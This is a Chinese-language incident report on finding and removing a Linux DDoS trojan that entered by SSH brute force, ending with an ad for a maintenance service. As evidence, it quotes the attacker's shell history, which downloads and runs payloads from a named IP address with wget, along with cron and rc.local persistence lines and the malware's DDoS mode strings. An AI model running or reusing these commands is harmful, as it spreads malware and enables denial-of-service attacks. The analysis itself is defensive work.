中毒现象:
内到外的流量大,打DDOS
入侵方式:
通过SSH暴力破解
病毒分析:
木马病毒在top里面表现为随机的10位字母的进程,看/proc里面的信息,则为ls,cd之类常见的命令。杀死该进程后,会再随机产生一个新的进程,删除这些木马文件后,会再重新生成新的木马文件。由此可以判断,木马病毒会自动修复,多个进程之间会互相保护,一旦删除和被杀,立即重新启动和复制。
首先注意到/tmp/.zl文件
[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
二进制文件,通过Strings查看一下
发现这个病毒会干掉其他的病毒,如下
rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr /IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m > /dev/null netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m > /dev/null
DDOS功能
SYN@%s:%d
UDP@%s:%d
DNS@%s:%d#%s
WEB@%s:%d#%s
TCP@%s:%d#%s
查看网络连接,发现ls和ifconfig命令竟然监听了端口
udp 0 0 0.0.0.0:49937 0.0.0.0:* 131683/ls -la udp 0 0 0.0.0.0:47584 0.0.0.0:* 116515/ifconfig
查看可执行文件:
[root@DataNode105 admin]# lsof -p 131683 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME hahidjqzx 131683 root cwd DIR 8,98 4096 18087937 /root hahidjqzx 131683 root rtd DIR 8,98 4096 2 / hahidjqzx 131683 root txt REG 8,98 625622 24123895 /usr/bin/hahidjqzxs hahidjqzx 131683 root 0u CHR 1,3 0t0 4928 /dev/null hahidjqzx 131683 root 1u CHR 1,3 0t0 4928 /dev/null hahidjqzx 131683 root 2u CHR 1,3 0t0 4928 /dev/null hahidjqzx 131683 root 3u IPv4 153447714 0t0 UDP *:44077 [root@DataNode105 admin]# lsof -p 116515 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME xmbgyycox 116515 root cwd DIR 8,98 4096 18087937 /root xmbgyycox 116515 root rtd DIR 8,98 4096 2 / xmbgyycox 116515 root txt REG 8,97 274792 40 /boot/xmbgyycoxb xmbgyycox 116515 root 0u CHR 1,3 0t0 4928 /dev/null xmbgyycox 116515 root 1u CHR 1,3 0t0 4928 /dev/null xmbgyycox 116515 root 2u CHR 1,3 0t0 4928 /dev/null xmbgyycox 116515 root 3u IPv4 153455625 0t0 UDP *:38281
病毒文件为/usr/bin/hahidjqzxs和 /boot/xmbgyycoxb
/proc/_pid/cmdline里面都是伪造的信息,ps显示的内容也一样,基本上为下面一些常见的命令
使用pstree可以看到真实的进程名称
按照修改时间排序查看系统服务,可以通过SSH日志和病毒的启动时间判断入侵的时间:
[root@DataNode104 admin]# ls -alt /etc/init.d/ total 376 drwxr-xr-x. 2 root root 4096 Aug 16 10:32 . -rwxrwxrwx 1 root root 96 Aug 16 10:32 .zl -rwxr-xr-x 1 root root 317 Aug 16 10:32 xmbgyycoxb drwxr-xr-x. 10 root root 4096 Aug 13 13:02 .. -rwxr-xr-x 1 root root 323 Aug 13 00:01 hahidjqzxs [root@DataNode104 admin]# ls -alt /etc/rc.d/init.d/ total 372 drwxr-xr-x. 2 root root 4096 Aug 13 00:25 . -rwxr-xr-x 1 root root 317 Aug 13 00:25 gcqrccqwcn -rwxrwxrwx 1 root root 96 Aug 13 00:25 .zl
定时任务,查看/etc/crontab(不同于crontab -e的用户级别定时任务 ,/etc/crontab为系统级别的定时任务):
可以看到如下两条
*/3 * * * * root /etc/cron.hourly/gcc.sh */3 * * * * root /etc/cron.hourly/cron.sh
然后检查/etc/cron.d、/etc/cron.daily、/etc/cron.hourly、/etc/cron.monthly
[root@DataNode104 admin]# ls -alt /etc/cron.hourly/ total 28 drwxr-xr-x. 2 root root 4096 Aug 17 10:00 . drwxr-xr-x. 124 root root 12288 Aug 17 09:15 .. -rwxr-xr-x 1 root root 223 Aug 16 10:32 cron.sh -rwxr-xr-x 1 root root 228 Aug 13 00:01 gcc.sh
查看脚本内容
[root@DataNode105 cron.hourly]# cat cron.sh #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug [root@DataNode105 cron.hourly]# cat gcc.sh #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done cp /lib/libudev.so /lib/libudev.so.6 /lib/libudev.so.6
使用file查看都是可执行文件:
[root@DataNode105 cron]# file /lib/libudev.so /lib/libudev.so: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped [root@DataNode105 cron]# file /lib/udev/udev /lib/udev/udev: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
查看开机启动项,发现木马服务已添加到开机启动(/etc/init.d软链到了/etc/rc.d/init.d):
[root@DataNode105 rc1.d]# ls -alt /etc/rc3.d/ lrwxrwxrwx 1 root root 15 Aug 16 10:33 S77.zl -> /etc/init.d/.zl lrwxrwxrwx 1 root root 20 Aug 16 10:32 S90xmbgyycoxb -> ../init.d/xmbgyycoxb lrwxrwxrwx 1 root root 20 Aug 13 00:01 S90hahidjqzxs -> ../init.d/hahidjqzxs
查看history,从hfs上下载木马
SuSEfirewall2 stop reSuSEfirewall2 stop wget http://218.201.84.181:17566/dabao chmod 0755 ./dabao ./dabao wget http://218.201.84.181:17566/init2 chmod 0755 ./init2 nohup ./init2 & wget http://218.201.84.181:17566/init4
查看rc.local(/etc/rc.local软链到了/etc/rc.d/rc.local,rc.local为开启自启动服务,系统根据runlevel启动完rcX.d中的脚本之后,会调用rc.local脚本)
[root@DataNode104 admin]# cat /etc/rc.local #!/bin/sh # # This script will be executed *after* all the other init scripts. # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff. echo never >/sys/kernel/mm/redhat_transparent_hugepage/defrag touch /var/lock/subsys/local mount /dev/sda1 /data1 mount /dev/sdb1 /data2 mount /dev/sdc1 /data3 mount /dev/sdd1 /data4 mount /dev/sde1 /data5 mount /dev/sdf1 /data6 cd /tmp/ ./sy& /etc/init.d/iptables stop cd /tmp/ ./ddp& /etc/init.d/iptables stop
查看/sbin /bin /usr/sbin /usr/bin下的系统命令,发现部分被替换
[root@DataNode110 admin]# ls -alt /bin/ | head -n 10 total 10836 -rwxr-xr-x 1 root root 625633 Aug 17 16:26 tawlqkazpu dr-xr-xr-x. 2 root root 4096 Aug 17 16:26 . -rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ps -rwxr-xr-x 1 root root 1223123 Aug 17 11:30 netstat [root@DataNode110 admin]# ls -alt /usr/sbin/ | head -n 10 total 35620 -rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ss -rwxr-xr-x 1 root root 1223123 Aug 17 11:30 lsof
发现lsof、ps、netstat等命令被替换掉了。
总结一下:
被感染的文件路径列表:
/boot 中有随机的10位字母的进程执行文件 /tmp 中有随机的10位字母的进程执行文件 /bin 中有随机的10位字母的进程执行文件,且有部分系统命令被替换 /sbin 中有随机的10位字母的进程执行文件,且有部分系统命令被替换 /usr/bin 中有随机的10位字母的进程执行文件,且有部分系统命令被替换 /usr/sbin 中有随机的10位字母的进程执行文件,且有部分系统命令被替换 /tmp/.zl 可执行病毒文件 /etc/init.d 中有随机的10位字母的进程执行文件 /etc/rc.d/rc[0-6]d 中有随机的10位字母的进程执行文件 /etc/rc.local 木马已被写入启动项 /etc/crontab 木马已被写入crontab中,每3分钟执行一次 /etc/cron.hourly 木马已被写入cron每小时执行的脚本中 /lib/libudev.so 可执行病毒文件 /lib/udev/udev 可执行病毒文件
清理过程:
进程之前是相互守护的,杀死一个会马上启动。所以锁定所有木马存在的目录
1)删除rc.local中异常的内容,并且用其他服务器上相同系统版本的命令替换回netstat ps lsof等系统命令 删除 cd /tmp/ ./sy& /etc/init.d/iptables stop cd /tmp/ ./ddp& /etc/init.d/iptables stop 2)锁定木马存在的目录,防止新的木马生成,设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。 [root@DataNode105 admin]# chattr +i /usr/bin/ [root@DataNode105 admin]# chattr +i /bin/ [root@DataNode105 admin]# chattr +i /boot/ [root@DataNode105 admin]# chattr +i /tmp/ 3)将木马权限设置为000 chmod 000 /tmp/lsxundgoos 4)删除启动项中的木马文件 删除/etc/crontab中异常内容 /etc/cron.hourly/cron.sh /etc/cron.hourly/gcc.sh 删除cron.sh和gcc.sh中启动的病毒文件 rm -rf /lib/libudev.so rm -rf /lib/udev/udev 删除启动项中的病毒文件 rm -f /etc/rc.d/init.d/lsxundgoos rm -f /etc/rc.d/lsxundgoos 5)重启 检查连接和进程无异常。 [root@DataNode105 admin]# chattr -i /usr/bin/ [root@DataNode105 admin]# chattr -i /bin/ [root@DataNode105 admin]# chattr -i /boot/ [root@DataNode105 admin]# chattr -i /tmp/ 6)清除病毒文件 [root@DataNode104 admin]# ls -alt /boot/ | head -n 10 total 28463 dr-xr-xr-x. 5 root root 1024 Aug 17 16:09 . -rwxr-xr-x 1 root root 274792 Aug 17 16:09 pekydjyfeu dr-xr-xr-x. 29 root root 4096 Aug 17 16:06 .. -rwxr-xr-x 1 root root 274792 Aug 17 16:00 ppqkyljmwn [root@DataNode104 admin]# rm -f /boot/pekydjyfeu [root@DataNode104 admin]# rm -f /boot/ppqkyljmwn 7)重启
遇到Linux系统中毒不要紧张,按照以上方法都能解决,如果你实在不知道怎么查杀Linux下的木马病毒,可以联系迷城网络Linux代维。安全有保障。